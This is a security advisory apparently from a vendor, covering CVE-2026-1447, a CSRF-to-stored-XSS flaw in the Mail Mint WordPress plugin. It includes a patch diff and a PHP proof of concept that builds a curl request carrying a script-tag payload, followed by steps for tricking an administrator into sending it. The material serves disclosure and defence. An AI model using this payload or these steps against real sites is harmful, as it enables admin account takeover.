Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-1447: Mail Mint <= 1.19.2 – Cross-Site Request Forgery to Stored Cross-Site Scripting (mail-mint)

CVE ID CVE-2026-1447
Plugin mail-mint
Severity Medium (CVSS 5.4)
CWE 352
Vulnerable Version 1.19.2
Patched Version 1.19.3
Disclosed February 1, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-1447:
The Mail Mint WordPress plugin contains a Cross-Site Request Forgery vulnerability in versions up to 1.19.2. This vulnerability affects the contact note management functionality, allowing attackers to inject malicious scripts into stored contact notes. The CVSS score of 5.4 reflects the requirement for admin interaction combined with successful exploitation leading to stored XSS.

The root cause is missing nonce validation in the create_or_update_note function within the ContactProfileAction class. The vulnerable code at mail-mint/app/API/Actions/Admin/Contact/ContactProfileAction.php lines 83-107 processes contact note creation and updates without verifying request authenticity. The function accepts contact_id, note_id, and note parameters directly from user input. Missing sanitization on the note[‘description’] field allows JavaScript injection, while the absence of CSRF protection enables forged requests to reach this endpoint.

Exploitation requires an attacker to craft a malicious request targeting the create_or_update_note REST endpoint. The attacker would embed this request in a webpage or link, tricking an authenticated administrator into triggering it. The payload would include a contact_id parameter and a note parameter containing malicious JavaScript in the description field. When the administrator visits the contact profile, the stored script executes in their browser session, potentially compromising the WordPress admin account.

The patch adds multiple security layers. It introduces nonce verification using wp_verify_nonce() with the wp_rest action, requiring a valid X-WP-Nonce header. The code now sanitizes all note fields: description uses sanitize_textarea_field(), title and type use sanitize_text_field(), and numeric fields use absint(). Input validation ensures contact_id is required and numeric. The same nonce protection extends to the delete_contact_profile_note function, preventing unauthorized note deletion.

Successful exploitation enables stored Cross-Site Scripting attacks within the WordPress admin area. Attackers can inject arbitrary JavaScript that executes when administrators view contact profiles. This can lead to session hijacking, administrative account takeover, content manipulation, or malware distribution. The stored nature means the payload persists across sessions, affecting multiple administrators over time.

Differential between vulnerable and patched code

Code Diff
--- a/mail-mint/app/API/Actions/Admin/Contact/ContactProfileAction.php
+++ b/mail-mint/app/API/Actions/Admin/Contact/ContactProfileAction.php
@@ -83,24 +83,50 @@
      * @since 1.7.0
      */
     public function create_or_update_note( $params) {
-        $contact_id = isset( $params['contact_id'] ) ? $params['contact_id'] : '';
-		$note_id    = isset( $params['note_id'] ) ? $params['note_id'] : '';
+        // Verify nonce for CSRF protection
+        $nonce = isset( $_SERVER['HTTP_X_WP_NONCE'] ) ? sanitize_text_field( wp_unslash( $_SERVER['HTTP_X_WP_NONCE'] ) ) : '';
+        if ( ! wp_verify_nonce( $nonce, 'wp_rest' ) ) {
+            return array(
+                'status'  => 'failed',
+                'message' => __( 'Invalid security token.', 'mrm' ),
+            );
+        }
+
+        $contact_id = isset( $params['contact_id'] ) ? absint( $params['contact_id'] ) : 0;
+		$note_id    = isset( $params['note_id'] ) ? absint( $params['note_id'] ) : 0;
         $note       = isset( $params['note'] ) ? $params['note'] : array();

-		// Note description validation.
-		$description = isset( $note['description'] ) ? sanitize_text_field( $note['description'] ) : '';
-		if ( empty( $description ) ) {
+		// Sanitize all note fields to prevent XSS and injection attacks
+		$sanitized_note = array(
+			'description' => isset( $note['description'] ) ? sanitize_textarea_field( $note['description'] ) : '',
+			'title'       => isset( $note['title'] ) ? sanitize_text_field( $note['title'] ) : '',
+			'type'        => isset( $note['type'] ) ? sanitize_text_field( $note['type'] ) : '',
+			'created_by'  => isset( $note['created_by'] ) ? absint( $note['created_by'] ) : get_current_user_id(),
+			'status'      => isset( $note['status'] ) ? absint( $note['status'] ) : 1,
+			'is_public'   => isset( $note['is_public'] ) ? absint( $note['is_public'] ) : 1,
+		);
+
+		// Validate contact ID
+		if ( empty( $contact_id ) ) {
+			return array(
+                'status'  => 'failed',
+                'message' => __( 'Invalid contact ID.', 'mrm' ),
+            );
+		}
+
+		// Note description validation
+		if ( empty( $sanitized_note['description'] ) ) {
 			return array(
                 'status'  => 'failed',
                 'message' => __( 'Note description is required.', 'mrm' ),
             );
 		}

-        // Note object create and insert or update to database.
+        // Note object create and insert or update to database with sanitized data
         if ( $note_id ) {
-            $success = NoteModel::update( $note, $contact_id, $note_id );
+            $success = NoteModel::update( $sanitized_note, $contact_id, $note_id );
         } else {
-            $success = NoteModel::insert( $note, $contact_id );
+            $success = NoteModel::insert( $sanitized_note, $contact_id );
         }

 		if ( $success ) {
@@ -159,6 +185,16 @@
      * @since 1.7.0
      */
     public function delete_contact_profile_note( $params ) {
+        // Verify nonce for CSRF protection
+        $nonce = isset( $_SERVER['HTTP_X_WP_NONCE'] ) ? sanitize_text_field( wp_unslash( $_SERVER['HTTP_X_WP_NONCE'] ) ) : '';
+        if ( ! wp_verify_nonce( $nonce, 'wp_rest' ) ) {
+            return array(
+                'status'  => 'failed',
+                'message' => __( 'Invalid security token.', 'mrm' ),
+                'code'    => 'rest_forbidden'
+            );
+        }
+
         $note_id = isset( $params['note_id'] ) ? $params['note_id'] : '';
         $success = NoteModel::destroy( $params['note_id'] );

--- a/mail-mint/app/API/Actions/Admin/Email/TemplateAction.php
+++ b/mail-mint/app/API/Actions/Admin/Email/TemplateAction.php
@@ -48,20 +48,24 @@
             'title'      => 'title',
         );

-        // Get 'order-by' and 'order-type' parameters or use default values.
+        // Validate 'order-by' parameter against whitelist.
         $order_by   = isset( $params['order-by'] ) && isset( $order_by_map[ $params['order-by'] ] ) ? $order_by_map[ $params['order-by'] ] : 'ID';
-        $order_type = isset( $params['order-type'] ) ? strtoupper( $params['order-type'] ) : 'DESC';
+
+        // Validate 'order-type' parameter against whitelist (ASC or DESC only).
+        $allowed_order_types = array( 'ASC', 'DESC' );
+        $order_type_param    = isset( $params['order-type'] ) ? strtoupper( sanitize_text_field( $params['order-type'] ) ) : 'DESC';
+        $order_type          = in_array( $order_type_param, $allowed_order_types, true ) ? $order_type_param : 'DESC';

         // Get 'search' parameter or use default value.
         $search = isset( $params['search'] ) ? $params['search'] : '';

-        // Define the query.
+        // Define the query with proper ORDER BY clause construction.
         $query = "
             SELECT id, title, thumbnail, thumbnail_data, json_content, editor_type, email_type, customizable, author_id, status, newsletter_type, newsletter_id, created_at, updated_at
             FROM $table_name
             WHERE (email_type = %s OR email_type IS NULL OR email_type = '')
             AND title LIKE %s
-            ORDER BY $order_by $order_type
+            ORDER BY {$order_by} {$order_type}
             LIMIT %d OFFSET %d
         ";

--- a/mail-mint/app/Database/models/CampaignModel.php
+++ b/mail-mint/app/Database/models/CampaignModel.php
@@ -386,6 +386,15 @@
 	public static function get_all( $wpdb, $offset = 0, $limit = 10, $search = '', $order_by = 'id', $order_type = 'desc', $filter = '', $filter_type = '', $status = '' ) {
 		$campaign_table = $wpdb->prefix . CampaignSchema::$campaign_table;

+		// Validate order_by against whitelist
+		$allowed_order_by = array( 'id', 'title', 'created_at', 'status', 'type' );
+		$order_by         = in_array( $order_by, $allowed_order_by, true ) ? $order_by : 'id';
+
+		// Validate order_type against whitelist (ASC or DESC only)
+		$allowed_order_types = array( 'asc', 'desc', 'ASC', 'DESC' );
+		$order_type_param    = strtolower( $order_type );
+		$order_type          = in_array( $order_type_param, array( 'asc', 'desc' ), true ) ? strtoupper( $order_type_param ) : 'DESC';
+
 		// Prepare search terms for query.
 		$search_terms = array();
 		if ( ! empty( $search ) ) {
@@ -409,8 +418,8 @@
 			$where = 'WHERE ' . implode( ' AND ', array_merge( $search_terms, $filter_terms, $status_terms ) );
 		}

-		// Prepare sql results for list view.
-		$results = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM $campaign_table $where ORDER BY $order_by $order_type  LIMIT %d, %d", $offset, $limit ), ARRAY_A ); // db call ok. ; no-cache ok.
+		// Prepare sql results for list view with validated ORDER BY clause.
+		$results = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM $campaign_table $where ORDER BY {$order_by} {$order_type} LIMIT %d, %d", $offset, $limit ), ARRAY_A ); // db call ok. ; no-cache ok.

 		$count       = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) as total FROM $campaign_table $where" ) ); // db call ok. ; no-cache ok.
 		$total_pages = ceil( $count / $limit );
--- a/mail-mint/app/Database/models/CustomFieldModel.php
+++ b/mail-mint/app/Database/models/CustomFieldModel.php
@@ -104,14 +104,23 @@
 		global $wpdb;
 		$fields_table = $wpdb->prefix . CustomFieldSchema::$table_name;

+		// Validate order_by against whitelist
+		$allowed_order_by = array( 'id', 'title', 'slug', 'type' );
+		$order_by         = in_array( $order_by, $allowed_order_by, true ) ? $order_by : 'id';
+
+		// Validate order_type against whitelist (ASC or DESC only)
+		$allowed_order_types = array( 'asc', 'desc', 'ASC', 'DESC' );
+		$order_type_param    = strtoupper( $order_type );
+		$order_type          = in_array( $order_type_param, $allowed_order_types, true ) ? $order_type_param : 'DESC';
+
 		$search_terms = null;
 		if ( ! empty( $search ) ) {
 			$search       = $wpdb->esc_like( $search );
 			$search_terms = "WHERE `title` LIKE '%%$search%%'";
 		}
-		// Return field froups for list view.
+		// Return field froups for list view with validated ORDER BY clause.
 		// phpcs:disable WordPress.DB.PreparedSQL.InterpolatedNotPrepared
-		$select_query = $wpdb->prepare( "SELECT * FROM $fields_table {$search_terms} ORDER BY %s %s  LIMIT %d, %d", $order_by, $order_type, $offset, $limit );
+		$select_query = $wpdb->prepare( "SELECT * FROM $fields_table {$search_terms} ORDER BY {$order_by} {$order_type}  LIMIT %d, %d", $offset, $limit );
 		// phpcs:enable WordPress.DB.PreparedSQL.InterpolatedNotPrepared
 		// phpcs:disable WordPress.DB.PreparedSQL.NotPrepared
 		$results = $wpdb->get_results( $select_query, ARRAY_A ); // db call ok. ; no-cache ok.
--- a/mail-mint/app/Database/models/FormModel.php
+++ b/mail-mint/app/Database/models/FormModel.php
@@ -207,6 +207,14 @@
 		$form_table = $wpdb->prefix . FormSchema::$table_name;
 		$meta_table = $wpdb->prefix . FormMetaSchema::$table_name;

+		// Validate order_by against whitelist
+		$allowed_order_by = array( 'id', 'title', 'created_at', 'status' );
+		$order_by         = in_array( $order_by, $allowed_order_by, true ) ? $order_by : 'id';
+
+		// Validate order_type against whitelist (ASC or DESC only)
+		$allowed_order_types = array( 'asc', 'desc', 'ASC', 'DESC' );
+		$order_type          = in_array( $order_type, $allowed_order_types, true ) ? strtoupper( $order_type ) : 'DESC';
+
 		// Prepare search terms for query.
 		$search_terms = array();
 		if ( ! empty( $search ) ) {
@@ -224,9 +232,9 @@
 			$where = 'WHERE ' . implode( ' AND ', array_merge( $search_terms, $status_terms ) );
 		}

-		// Prepare sql results for list view.
+		// Prepare sql results for list view with validated ORDER BY clause.
 		// phpcs:disable WordPress.DB.PreparedSQL.InterpolatedNotPrepared
-		$results     = $wpdb->get_results( $wpdb->prepare( "SELECT f.id, f.title, f.group_ids, f.status, f.created_at, IFNULL(m.meta_value, 0) AS entries FROM $form_table AS f LEFT JOIN $meta_table AS m ON f.id = m.form_id AND m.meta_key = 'entries' {$where} ORDER BY $order_by $order_type LIMIT %d, %d", array( $offset, $limit ) ), ARRAY_A ); // db call ok. ; no-cache ok.
+		$results     = $wpdb->get_results( $wpdb->prepare( "SELECT f.id, f.title, f.group_ids, f.status, f.created_at, IFNULL(m.meta_value, 0) AS entries FROM $form_table AS f LEFT JOIN $meta_table AS m ON f.id = m.form_id AND m.meta_key = 'entries' {$where} ORDER BY {$order_by} {$order_type} LIMIT %d, %d", array( $offset, $limit ) ), ARRAY_A ); // db call ok. ; no-cache ok.
 		$count_query = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) as total FROM $form_table $where" ) ); // db call ok. ; no-cache ok.
 		// phpcs:enable WordPress.DB.PreparedSQL.InterpolatedNotPrepared
 		$count       = (int) $count_query;
--- a/mail-mint/app/Internal/Automation/Core/DataStore/AutomationStore.php
+++ b/mail-mint/app/Internal/Automation/Core/DataStore/AutomationStore.php
@@ -441,6 +441,15 @@
 		$search_terms          = null;
 		$condition             = 'WHERE';

+		// Validate order_by against whitelist
+		$allowed_order_by = array( 'id', 'name', 'created_at', 'status' );
+		$order_by         = in_array( $order_by, $allowed_order_by, true ) ? $order_by : 'created_at';
+
+		// Validate order_type against whitelist (ASC or DESC only)
+		$allowed_order_types = array( 'asc', 'desc', 'ASC', 'DESC' );
+		$order_type_param    = strtolower( $order_type );
+		$order_type          = in_array( $order_type_param, array( 'asc', 'desc' ), true ) ? strtoupper( $order_type_param ) : 'DESC';
+
 		// Search automation by name.
 		if ( ! empty( $search ) ) {
 			$search       = $wpdb->esc_like( $search );
@@ -453,10 +462,10 @@
 			// Return automations in list view.
 			// phpcs:disable WordPress.DB.PreparedSQL.InterpolatedNotPrepared
 			if ( 'all' === $status ) {
-				$select_query = $wpdb->get_results( $wpdb->prepare( "SELECT automation.id,automation.name,automation.status,automation.created_at FROM $automation_table as automation LEFT JOIN $automation_meta_table AS meta ON automation.id = meta.automation_id {$search_terms} {$condition} meta.meta_key = %s AND meta.meta_value = %s ORDER BY automation.$order_by $order_type LIMIT %d, %d", array( 'source', 'mint', $offset, $limit ) ), ARRAY_A ); // db call ok. ; no-cache ok.
+				$select_query = $wpdb->get_results( $wpdb->prepare( "SELECT automation.id,automation.name,automation.status,automation.created_at FROM $automation_table as automation LEFT JOIN $automation_meta_table AS meta ON automation.id = meta.automation_id {$search_terms} {$condition} meta.meta_key = %s AND meta.meta_value = %s ORDER BY automation.{$order_by} {$order_type} LIMIT %d, %d", array( 'source', 'mint', $offset, $limit ) ), ARRAY_A ); // db call ok. ; no-cache ok.
 				$count_query  = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $automation_table as automation LEFT JOIN $automation_meta_table AS meta ON automation.id = meta.automation_id {$search_terms} {$condition} meta.meta_key  = %s AND  meta.meta_value  = %s", array( 'source', 'mint' ) ) ); // db call ok. ; no-cache ok.
 			} else {
-				$select_query = $wpdb->get_results( $wpdb->prepare( "SELECT automation.id,automation.name,automation.status,automation.created_at FROM $automation_table as automation LEFT JOIN $automation_meta_table AS meta ON automation.id = meta.automation_id {$search_terms} {$condition} meta.meta_key = %s AND meta.meta_value = %s AND automation.status = %s ORDER BY automation.$order_by $order_type LIMIT %d, %d", array( 'source', 'mint', $status, $offset, $limit ) ), ARRAY_A ); // db call ok. ; no-cache ok.
+				$select_query = $wpdb->get_results( $wpdb->prepare( "SELECT automation.id,automation.name,automation.status,automation.created_at FROM $automation_table as automation LEFT JOIN $automation_meta_table AS meta ON automation.id = meta.automation_id {$search_terms} {$condition} meta.meta_key = %s AND meta.meta_value = %s AND automation.status = %s ORDER BY automation.{$order_by} {$order_type} LIMIT %d, %d", array( 'source', 'mint', $status, $offset, $limit ) ), ARRAY_A ); // db call ok. ; no-cache ok.
 				$count_query  = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $automation_table as automation LEFT JOIN $automation_meta_table AS meta ON automation.id = meta.automation_id {$search_terms} {$condition} meta.meta_key  = %s AND  meta.meta_value  = %s AND automation.status = %s", array( 'source', 'mint', $status ) ) ); // db call ok. ; no-cache ok.
 			}

--- a/mail-mint/app/Utilities/Helper/Import.php
+++ b/mail-mint/app/Utilities/Helper/Import.php
@@ -858,24 +858,43 @@
 		// Extract course IDs from the provided courses.
 		$course_ids = array_column($courses, 'value');

-		// If no course IDs are provided, get all LearnDash courses.
+		// If no course IDs are provided, get all Tutor LMS courses.
 		if (!$course_ids) {
 			$all_courses = HelperFunctions::get_tutor_lms_courses();
 			$course_ids  = array_column($all_courses, 'value');
 		}

+		// Sanitize course IDs to ensure they are integers
+		$course_ids = array_map('intval', $course_ids);
+
+		if (empty($course_ids)) {
+			return array(
+				'formatted_users' => array(),
+				'total_users'     => 0,
+			);
+		}
+
 		global $wpdb;

 		$table_name = $wpdb->prefix . 'posts';

-		$enrollments_query = $wpdb->prepare("SELECT post_author FROM $table_name WHERE post_type = 'tutor_enrolled' AND post_parent IN ('" . implode("', '", $course_ids) . "')"); //phpcs:ignore
+		// Create placeholders for IN clause
+		$placeholders = implode(', ', array_fill(0, count($course_ids), '%d'));

-		$total_query = $wpdb->prepare("SELECT COUNT( DISTINCT post_author) FROM $table_name WHERE post_type = 'tutor_enrolled' AND post_parent IN ('" . implode("', '", $course_ids) . "')"); //phpcs:ignore
+		// Prepare safe query with placeholders
+		$enrollments_query = $wpdb->prepare(
+			"SELECT DISTINCT post_author FROM $table_name WHERE post_type = 'tutor_enrolled' AND post_parent IN ($placeholders) LIMIT %d OFFSET %d",
+			array_merge($course_ids, array($number, $offset))
+		);
+
+		// Prepare safe total query with placeholders
+		$total_query = $wpdb->prepare(
+			"SELECT COUNT(DISTINCT post_author) FROM $table_name WHERE post_type = 'tutor_enrolled' AND post_parent IN ($placeholders)",
+			$course_ids
+		);

 		$total = $wpdb->get_var($total_query); //phpcs:ignore

-		$enrollments_query .= $wpdb->prepare(' LIMIT %d OFFSET %d', $number, $offset);
-
 		$enrollments = $wpdb->get_results($enrollments_query); //phpcs:ignore

 		if (empty($enrollments)) {
--- a/mail-mint/assets/admin/dist/automation_editor/index.min.asset.php
+++ b/mail-mint/assets/admin/dist/automation_editor/index.min.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'react', 'react-dom', 'wp-a11y', 'wp-api-fetch', 'wp-components', 'wp-compose', 'wp-data', 'wp-deprecated', 'wp-element', 'wp-i18n', 'wp-keyboard-shortcuts', 'wp-keycodes', 'wp-plugins', 'wp-preferences', 'wp-primitives', 'wp-viewport'), 'version' => '35dc0feedbec3b86b01c');
+<?php return array('dependencies' => array('lodash', 'react', 'react-dom', 'wp-a11y', 'wp-api-fetch', 'wp-components', 'wp-compose', 'wp-data', 'wp-deprecated', 'wp-element', 'wp-i18n', 'wp-keyboard-shortcuts', 'wp-keycodes', 'wp-plugins', 'wp-preferences', 'wp-primitives', 'wp-viewport'), 'version' => '1c0ca88861cfde18b48c');
--- a/mail-mint/assets/admin/dist/main/index.min.asset.php
+++ b/mail-mint/assets/admin/dist/main/index.min.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'react', 'react-dom', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-data', 'wp-deprecated', 'wp-editor', 'wp-element', 'wp-format-library', 'wp-i18n', 'wp-keyboard-shortcuts', 'wp-media-utils', 'wp-preferences'), 'version' => '75e90cbcc3eb80deacb5');
+<?php return array('dependencies' => array('lodash', 'react', 'react-dom', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-data', 'wp-deprecated', 'wp-editor', 'wp-element', 'wp-format-library', 'wp-i18n', 'wp-keyboard-shortcuts', 'wp-media-utils', 'wp-preferences'), 'version' => '9c0bfa66c81b9b3a2a25');
--- a/mail-mint/mail-mint.php
+++ b/mail-mint/mail-mint.php
@@ -15,7 +15,7 @@
  * Plugin Name:       Email Marketing Automation - Mail Mint
  * Plugin URI:        https://getwpfunnels.com/email-marketing-automation-mail-mint/
  * Description:       Effortless 📧 email marketing automation tool to collect & manage leads, run email campaigns, and initiate basic email automation.
- * Version:           1.19.2
+ * Version:           1.19.3
  * Author:            WPFunnels Team
  * Author URI:        https://getwpfunnels.com/
  * License:           GPL-2.0+
@@ -36,7 +36,7 @@
  * Start at version 1.0.0 and use SemVer - https://semver.org
  * Rename this for your plugin and update it as you release new versions.
  */
-define( 'MRM_VERSION', '1.19.2' );
+define( 'MRM_VERSION', '1.19.3' );
 define( 'MAILMINT', 'mailmint' );
 define( 'MRM_DB_VERSION', '1.15.3' );
 define( 'MINT_DEV_MODE', false );
--- a/mail-mint/vendor/composer/installed.php
+++ b/mail-mint/vendor/composer/installed.php
@@ -3,7 +3,7 @@
         'name' => 'coderex/code-rex-crm',
         'pretty_version' => 'dev-master',
         'version' => 'dev-master',
-        'reference' => '0c2fc08a254ef39fb59489486b82c66c27969e81',
+        'reference' => '491a28de842a88ab08d8c876ec36dadedf6dd660',
         'type' => 'wordpress-plugin',
         'install_path' => __DIR__ . '/../../',
         'aliases' => array(),
@@ -22,7 +22,7 @@
         'coderex/code-rex-crm' => array(
             'pretty_version' => 'dev-master',
             'version' => 'dev-master',
-            'reference' => '0c2fc08a254ef39fb59489486b82c66c27969e81',
+            'reference' => '491a28de842a88ab08d8c876ec36dadedf6dd660',
             'type' => 'wordpress-plugin',
             'install_path' => __DIR__ . '/../../',
             'aliases' => array(),

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-1447 - Mail Mint <= 1.19.2 - Cross-Site Request Forgery to Stored Cross-Site Scripting

<?php
/**
 * Proof of Concept for CVE-2026-1447
 * This script demonstrates CSRF to stored XSS in Mail Mint plugin <= 1.19.2
 * Requires an authenticated administrator to trigger the request
 */

$target_url = 'http://vulnerable-wordpress-site.com';

// The contact ID to target (must exist in the system)
$contact_id = 1;

// Malicious JavaScript payload - this executes when admin views the contact note
$xss_payload = '<script>alert("Atomic Edge Research - XSS via CVE-2026-1447");</script>';

// Construct the REST API endpoint for creating/updating contact notes
// The endpoint is typically: /wp-json/mail-mint/v1/contacts/{contact_id}/notes
$endpoint = $target_url . '/wp-json/mail-mint/v1/contacts/' . $contact_id . '/notes';

// Prepare the malicious note data
$note_data = array(
    'description' => $xss_payload,
    'title' => 'Malicious Note',
    'type' => 'general',
    'status' => 1,
    'is_public' => 1
);

// The complete POST data structure
$post_data = array(
    'contact_id' => $contact_id,
    'note' => $note_data
);

// In a real CSRF attack, this would be embedded in a webpage or link
// For demonstration, we show the curl command that would be triggered
$curl_cmd = "curl -X POST '" . $endpoint . "' \
    -H 'Content-Type: application/json' \
    -d '" . json_encode($post_data) . "'";

echo "Atomic Edge CVE-2026-1447 Proof of Conceptn";
echo "==========================================nn";
echo "Target URL: " . $target_url . "n";
echo "Contact ID: " . $contact_id . "n";
echo "XSS Payload: " . $xss_payload . "nn";
echo "Exploit curl command:n";
echo $curl_cmd . "nn";
echo "To exploit:n";
echo "1. Embed this request in a webpage or linkn";
echo "2. Trick an authenticated administrator into triggering itn";
echo "3. The malicious JavaScript will be stored in the contact noten";
echo "4. When any admin views the contact profile, the script executesn";

// Note: In vulnerable versions <= 1.19.2, no nonce is required
// The patch in version 1.19.3 adds nonce verification via X-WP-Nonce header
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School